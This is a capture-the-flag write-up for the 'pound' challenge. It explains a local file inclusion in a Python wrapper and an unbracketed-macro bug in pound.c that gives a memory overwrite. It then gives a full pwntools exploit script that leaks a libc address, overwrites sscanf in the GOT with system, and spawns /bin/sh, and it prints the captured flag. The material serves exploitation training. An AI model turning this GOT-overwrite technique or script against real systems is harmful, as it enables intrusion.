The challenge is composed of two parts. A python wrapper and pound binary.

Local File Inclusion vulnerability exists in the python wrapper and you can easily get the source code of pound by entering 1 followed by ../pound.c. (Of course, the name of the flag is not ../flag.txt or something predictable)

host_bfc6a768d1cccc49f1cd4b880bfdac9c.py

pound.c

In the second menu, you get to input two numbers, L1 and L2, the number of state's citizens. It gets compiled as a macro. However, the wrapper does not check whether the value of L1 and L2 is solely composed of digits. So we can put characters like N, which is defined as const int N=1024 in pound.c.

In propagate_forward() function, length_diff is defined as L2 - L1. If there is any way that makes length_diff bigger than the real difference, we may overwrite variables beyond s2_citizens, like announcement.

When learning C programming, we learnt that we must ALWAYS ENCLOSE EVERY VARIABLE IN BRACKETS using define macro. However, pound.c does not obey the rule so if we put L1=L2=1+N, L2-L1 becomes 1+N-1+N=2N when real difference is 0. By the time it reaches second for statement inside propagate_forward(), i is N+1 and length_diff is 2N so it starts overwriting 2N=2048 bytes starting from s1_name to announcement and so on. Overwrite announcement with sscanf@LIBC and print_states() will leak the address, and create announcement will overwrite sscanf@GOT. Payload would be as follows.

'z'x510 (state name 1)

'z'x510 (state name 2)

1

2147483647

2

134524972 (sscanf@GOT)

0 (Leaks memory)

2

64 (fill announcement_length to avoid announcement being overwrited inside create_announcement())

4

16

system@libc

4

/bin/sh


from pwn import *

context.log_level='debug'

s = remote("pound.pwning.xxx",9765)
#s = remote("localhost",8006)

raw_input()

print s.recvuntil("3. Quit")
s.sendline("2")
print s.recvuntil("State 1 Size:")
s.sendline("1+N")
print s.recvuntil("State 2 Size:")
s.sendline("1+N")

print s.recvuntil("first state:")
s.sendline("z"*510)

print s.recvuntil("second state:")
s.sendline("z"*510)

print s.recvuntil("Enter Your Choice: ")
s.sendline("1")

print s.recvuntil("Enter the amount to set the states in: ")
s.sendline("2147483647")

print s.recvuntil("Enter Your Choice: ")

s.sendline("2")
print s.recvuntil("Enter the amount to propagate: ")
s.sendline("134524972") # sscanf@got

print s.recvuntil("Enter Your Choice: ")
s.sendline("0")

x = s.recvuntil("Enter Your Choice: ")
import re
sscanf_libc = u32(re.findall("PSA: (.+)", x)[0][:4])
system_libc = sscanf_libc - 0x15f10
print hex(sscanf_libc), hex(system_libc)

s.sendline("2")
print s.recvuntil("Enter the amount to propagate: ")
s.sendline("64") # sscanf@got

print s.recvuntil("Enter Your Choice: ")
s.sendline("4")
print s.recvuntil("Enter the length of your announcement: ")
s.sendline("16\n"+p32(system_libc))

print s.recvuntil("Enter Your Choice: ")
#s.sendline("4")
#print s.recvuntil("Enter the length of your announcement: ")
s.sendline("/bin/sh")
s.interactive()


FLAG: PCTF{pr3pr0cess0rMacr0s@areFuture}

+ Recent posts